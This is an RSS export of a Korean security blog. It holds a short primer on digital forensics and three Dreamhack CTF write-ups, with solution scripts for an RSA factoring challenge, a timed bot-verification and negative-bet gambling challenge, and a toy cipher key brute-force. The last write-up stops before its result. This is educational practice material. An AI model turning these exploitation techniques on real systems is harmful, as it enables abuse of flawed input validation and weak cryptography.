<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>HHJ</title>
    <link>https://hackhijack64.tistory.com/</link>
    <description>$ whoami
HHJ</description>
    <language>ko</language>
    <pubDate>Sun, 16 Aug 2026 01:19:54 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>HackHiJack</managingEditor>
    <image>
      <title>HHJ</title>
      <url>https://tistory1.daumcdn.net/tistory/4337982/attach/360e6a540b274f60ae1a25cf0f3e90f2</url>
      <link>https://hackhijack64.tistory.com</link>
    </image>
    <item>
      <title>Dreamhack - 디지털 포렌식의 개념과 특성</title>
      <link>https://hackhijack64.tistory.com/102</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘부터 드림핵의 디지털 포렌식 로드맵을 통해 배운 내용을 적을 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 &lt;i&gt;&lt;b&gt;[&lt;/b&gt;&lt;/i&gt;&lt;b&gt;&lt;i&gt;포렌식]&lt;/i&gt;&lt;/b&gt;이란 우리가 드라마에서도 볼 수 있듯이, 과학적으로 범죄를 수사하는 것이다. &lt;i&gt;&lt;b&gt;[디지털포렌식]&lt;/b&gt;&lt;/i&gt;은 이 포렌식에서 컴퓨터 과학적으로 더 초점을 두고 있다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;i&gt;&lt;b&gt;디지털 포렌식의 개념&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디지털 포렌식의 정확한 개념은 &quot;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;디지털 증거를 수집&amp;middot;보존&amp;middot;분석&amp;middot;현출하는데 적용되는 과학기술 및 절차&lt;/b&gt;&lt;/span&gt;&quot;이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개념이 뭐가 중요하나 싶지만, 포렌식 자체가 법정에서의 효력을 가지는 만큼 중요한 역할을 하고 있으므로, 이 각각의 세부적 의미를 정확히 이해하는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;i&gt;&lt;b&gt;디지털 포렌식의 종류&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디지털 포렌식의 종류는 크게 아래와 같이 5개로 분류된다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 95px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 19px;&quot;&gt;디스크 포렌식 : SSD, HDD 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 19px;&quot;&gt;메모리 포렌식 : RAM(휘발성 데이터) 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 19px;&quot;&gt;모바일 포렌식 : 모바일 기기 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 19px;&quot;&gt;네트워크 포렌식 : 네트워크 구조 혹은 패킷 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 19px;&quot;&gt;침해사고 대응 : 해킹, 랜셈웨어 등의 침해사고를 대응&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;i&gt;&lt;b&gt;디지털 포렌식의 특성&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;디지털 포렌식의 특성에는 크게 3가지가 있는데 비가시성, 휘발성, 변조 용이성이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;비가시성 : 디지털 데이터는 시각적으로 볼 수 없다는 것&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;휘발성 : 시간이 지남에 따라 데이터가 사라지는 것&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;변조 용이성 : 디지털 데이터는 변조가 쉽다는 것&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비가시성의 예로는 사진 파일이 있다. 디지털 데이터는 우리가 눈으로 볼 수 있는 사진 파일이 아니라 16진수로 된 데이터로 확인된다. 그래서 이를 분석하기 위해 도구의 신뢰성과, 분석의 전문성이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휘발성은 RAM과 같이 컴퓨터를 끄면 없어지는 데이터가 휘발성이 높다고 하며, 현장에서 제일 먼저 수집 해야하는 것이 휘발성 데이터가 제일 높은 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변조 용이성은 데이터가 쉽게 변조될 수 있기 때문에, 디지털 데이터 발견 당시의 해쉬 함수를 이용하여 무결점을 증명할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Forensics</category>
      <category>ㅣ</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/102</guid>
      <comments>https://hackhijack64.tistory.com/102#entry102comment</comments>
      <pubDate>Thu, 3 Oct 2024 23:26:43 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - d (writeup)</title>
      <link>https://hackhijack64.tistory.com/101</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 드림의 &quot;d&quot;문제를 풀어 볼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 아래 문제코드를 살펴보자.&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-9926476451023088&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;pre id=&quot;code_1677057108263&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from Crypto.Util.number import *
from flag import flag

p = bytes_to_long(flag)
assert isPrime(p)
q = getPrime(256)
d = pow(65537, -1, (p - 1) * (q - 1))
print(d)
# 22800184635336356769510601710348610828272762269559262549105379768650621669527077640437441133467920490241918976205665073&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 파이썬 코드의 내용을 정리하면 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1677057254753&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;d = 22800184635336356769510601710348610828272762269559262549105379768650621669527077640437441133467920490241918976205665073
e = 65537

q는 256비트&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 어떤 방법으로 할 지 전혀 모르겠는 것 같아서 rsa 위키백과를 보다가 우연히 아래와 같은 부분을 확인했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;252&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RBGif/btr0nDEwsWx/748exdkYNXTG5PHl8kK7n1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RBGif/btr0nDEwsWx/748exdkYNXTG5PHl8kK7n1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RBGif/btr0nDEwsWx/748exdkYNXTG5PHl8kK7n1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRBGif%2Fbtr0nDEwsWx%2F748exdkYNXTG5PHl8kK7n1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;252&quot; height=&quot;52&quot; data-origin-width=&quot;252&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 보고 ed-1이 소인수분해가 가능하면 p나 q를 구할 수 있을 것이라고 알게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 아래의 두 사이트를 참고하여 ed-1를 소인수분해 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://factordb.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://factordb.com/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.alpertron.com.ar/ECM.HTM&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.alpertron.com.ar/ECM.HTM&lt;/a&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1677057505110&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;소인수 분해 결과

2 * 2 * 2 * 2 * 3 * 5 * 5 * 37 * 1117 * 4029461 * 1403014978139 * 284368748316481195117 * 18741210882440665187461519398960291465361283084482741278982029639876282810203&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 이를 조합하여 ed-1의 모든 인수를 구한 뒤, int를 bytes로 바꿨을때 &quot;DH{&quot;를 포함하는 숫자가 p, int의 길이가 256비트인 숫자가 q가 되는 수를 구하는 python 으로 아래와 같이 구현 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1677057736566&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from Crypto.Util.number import *

factors = [(2, 4), (3, 1), (5, 2), (37, 1), (1117, 1), (4029461, 1), (1403014978139, 1), (284368748316481195117, 1), (18741210882440665187461519398960291465361283084482741278982029639876282810203, 1)]

all_factors = [1]

for (prime, power) in factors:  # &amp;lt;- 인수 구하기
    new_factors = []
    for factor in all_factors:
        for i in range(1, power+1):
            new_factors.append(factor * prime**i)
    all_factors += new_factors

for i in all_factors:
    num = i+1
    if isPrime(num):
        num_bytes = long_to_bytes(num)
        if b'DH{' in num_bytes:    #  &amp;lt;- p 즉 flag 판별
            print(&quot;FLAG : &quot;+num_bytes.decode('utf-8'))
            print(&quot;p = &quot; + str(num))
        elif num.bit_length() == 256:  #  &amp;lt;- q 판별
            print(&quot;q = &quot; + str(num))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로그램을 실행하면 아래와 같이 flag(p), q를 구할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bngpL5/btr0p8pNJdz/Iwn5KgKhIEbZVpj2aKUkE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bngpL5/btr0p8pNJdz/Iwn5KgKhIEbZVpj2aKUkE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bngpL5/btr0p8pNJdz/Iwn5KgKhIEbZVpj2aKUkE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbngpL5%2Fbtr0p8pNJdz%2FIwn5KgKhIEbZVpj2aKUkE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;738&quot; height=&quot;109&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Cryptography</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/101</guid>
      <comments>https://hackhijack64.tistory.com/101#entry101comment</comments>
      <pubDate>Wed, 22 Feb 2023 18:24:32 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - Robot Only(writeup)</title>
      <link>https://hackhijack64.tistory.com/100</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 드림핵의 robot only문제를 한번 풀이해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 문제 코드이다.&lt;/p&gt;
&lt;pre id=&quot;code_1677038195299&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
import random
import signal
import sys

MENU_GAMBLE     = 1
MENU_VERIFY     = 2
MENU_FLAG       = 3
MENU_LEAVE      = 4

money = 500
verified = False

def show_menu():
    print('=======================================')
    print('1. go to gamble')
    print('2. verify you\'re a robot')
    print('3. buy flag')
    print('4. leave')

def get_randn():
    return random.randint(0, 0xfffffffe)

def gamble():
    global money
    global verified

    if verified is False:
        print('you\'re are not verified as a robot ;[')
        return

    print('greetings, robot :]')

    bet = int(input('how much money do you want to bet (your money: ${0})? '.format(money)))
    if money &amp;lt; bet:
        print('you don\'t have enough money (your money: ${0}).'.format(money))
        return

    randn = get_randn()
    answer = randn % 5 + 1

    print('[1] [2] [3] [4] [5]')
    user_answer = int(input('pick one of the box &amp;gt; '))

    print('answer is [{0}]!'.format(answer))

    if user_answer == answer:
        print('you earned ${0}.'.format(bet))
        money += bet
    else:
        print('you lost ${0}.'.format(bet))
        money -= bet

    if money &amp;lt;= 0:
        print('you busted ;]')
        sys.exit()

class MyTimeoutError(Exception):
    def __init__(self):
        pass

def timeout_handler(signum, frame):
    raise MyTimeoutError()

def verify():
    global verified

    if verified is True:
        print('you have already been verified as a robot :]')
        return

    randn224 = (get_randn() | get_randn() &amp;lt;&amp;lt; 32 | get_randn() &amp;lt;&amp;lt; 64 |
                get_randn() &amp;lt;&amp;lt; 96 | get_randn() &amp;lt;&amp;lt; 128 | get_randn() &amp;lt;&amp;lt; 160)

    challenge = randn224 ^ 0xdeaddeadbeefbeefcafecafe13371337DEFACED0DEFACED0

    signal.alarm(3)
    signal.signal(signal.SIGALRM, timeout_handler)

    try:
        print('please type this same: &quot;{0}&quot;'.format(challenge))
        user_challenge = input('&amp;gt; ')

        if user_challenge == str(challenge):
            verified = True
            print('you\'re are now verified as a robot :]')
        else:
            print('you\'re not a robot ;[')
        signal.alarm(0)

    except MyTimeoutError:
        print('\nyou failed to verify! robots aren\'t that slow ;[')

def flag():
    global money

    print('price of the flag is $10,000,000,000.')

    if money &amp;lt; 10000000000:
        print('you don\'t have enough money (your money: ${0}).'.format(money))
        return

    with open('./flag', 'rb') as f:
        print(b'flag is ' + f.read())
    sys.exit()

def main():
    while True:
        show_menu()
        menu = int(input('&amp;gt; '))

        if menu == MENU_GAMBLE:
            gamble()

        elif menu == MENU_VERIFY:
            verify()

        elif menu == MENU_FLAG:
            flag()

        elif menu == MENU_LEAVE:
            sys.exit()

        else:
            print('wrong menu :[')

if __name__ == '__main__':
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드는 robot으로 verify 한&amp;nbsp; 후 gamble을 통해서 돈을 얻어서 flag를 얻는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;verify는 주어진 문자열을 빠르게 입력하면 되고, gamble에서는 음수 입력이 가능해서 -100000000000000 를 해서 잃으면 1000000000000000 만큼 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 verify는 시간 제한이 있기 때문에 파이썬 코드를 아래와 같이 짜서 verify 후 interactive()를 이용해서 사용자 입력 모드로 전환하여 나머지 작업을 할 수 있게 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1677038486633&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
import time
r = remote(&quot;host3.dreamhack.games&quot;,24360)

r.recv()
sleep(0.1)

r.sendline(b&quot;2&quot;)

recv_str = r.recv()[24:-4]

r.sendline(recv_str)

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이를 이용하여 아래와 같이 flag를 획득할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;790&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4gopB/btr0nOEB7g1/v9rhnFNM2BjBqKOSLv04v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4gopB/btr0nOEB7g1/v9rhnFNM2BjBqKOSLv04v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4gopB/btr0nOEB7g1/v9rhnFNM2BjBqKOSLv04v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4gopB%2Fbtr0nOEB7g1%2Fv9rhnFNM2BjBqKOSLv04v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;500&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;790&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Cryptography</category>
      <author>HackHiJack</author>
      <guid isPermaLink="true">https://hackhijack64.tistory.com/100</guid>
      <comments>https://hackhijack64.tistory.com/100#entry100comment</comments>
      <pubDate>Wed, 22 Feb 2023 13:03:40 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - ICM2022(writeup)</title>
      <link>https://hackhijack64.tistory.com/99</link>
      <description>&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-9926476451023088&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 드림핵의 암호 문제인 ICM2022를 풀어볼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제코드는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1677034789062&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import random
from fractions import Fraction


def enc(p, n, key1, key2):
    q = (Fraction(p, n+1)*key1**(n+1)) - (Fraction(p, n+1)*key2**(n+1)) 
    print(&quot;[OK] plain is encrypted : &quot;, q)
    return q


def dec(q):
    # cencored


def key_make():
    n, key1, key2 = 0, 1, 0
    while key2 &amp;lt; key1:
        n = random.randrange(1, 10) #3 
        key1 = random.randrange(1, 100) #
        key2 = random.randrange(1, 100) #95
    return n, key1, key2


p = &quot;&quot;
emp = input(&quot;plain text: &quot;)
for character in emp:
    p += str(ord(character))
n, key1, key2 = key_make()

print(f&quot;[WAR]p = {p} n = {n} key1 = {key1} key2 = {key2}&quot;)

q = enc(int(p), n, key1, key2)
dec(q)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 코드를 해석을 잠시 하자면 p라는 문자열을 받아서 아스키코드로 바꾸고 이 값을 가지고 enc() 함수에서 아래와 같이 연산한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc3F5p/btr0fvzTsnh/TUoa2h8LGPgpbVmktOekYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc3F5p/btr0fvzTsnh/TUoa2h8LGPgpbVmktOekYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc3F5p/btr0fvzTsnh/TUoa2h8LGPgpbVmktOekYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc3F5p%2Fbtr0fvzTsnh%2FTUoa2h8LGPgpbVmktOekYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;446&quot; height=&quot;48&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 q, n, key2가 주어져서 알기 때문에 아래와 같이 나타낼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;528&quot; data-origin-height=&quot;46&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vAMlQ/btr0m5NbTwe/Jvz5Fus1M7D13oRh9LcPk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vAMlQ/btr0m5NbTwe/Jvz5Fus1M7D13oRh9LcPk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vAMlQ/btr0m5NbTwe/Jvz5Fus1M7D13oRh9LcPk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvAMlQ%2Fbtr0m5NbTwe%2FJvz5Fus1M7D13oRh9LcPk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;528&quot; height=&quot;46&quot; data-origin-width=&quot;528&quot; data-origin-height=&quot;46&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이를 p에 관해서 정리해주면 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;53&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qKraq/btr0dp8incS/GerjND7dPzkrngho8kzls0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qKraq/btr0dp8incS/GerjND7dPzkrngho8kzls0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qKraq/btr0dp8incS/GerjND7dPzkrngho8kzls0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqKraq%2Fbtr0dp8incS%2FGerjND7dPzkrngho8kzls0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;304&quot; height=&quot;53&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;53&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 k1은 k2보다 작고, 1에서 100 중 난수가 나오니깐, k1의 4제곱 - 95의 4제곱이 q * 4에 나누어&amp;nbsp; 떨어질 때까지 k1의 값을 brute forcing 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 파이썬으로 구현하면 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1677035803476&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from fractions import Fraction

re = list()
for i in range(1,95):
	k2 = 95 ** 4
	k1 = i ** 4
	result = k1 - k2
	re.append(result)

for i in re:
    q = -200640142664324295933714 * 4
    p = Fraction(q/i)
    if q % i == 0 :
	    print(p)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 실행하면 아래와 같이 p(flag)값이 나오는 걸 확인할 수 있다.&lt;/p&gt;
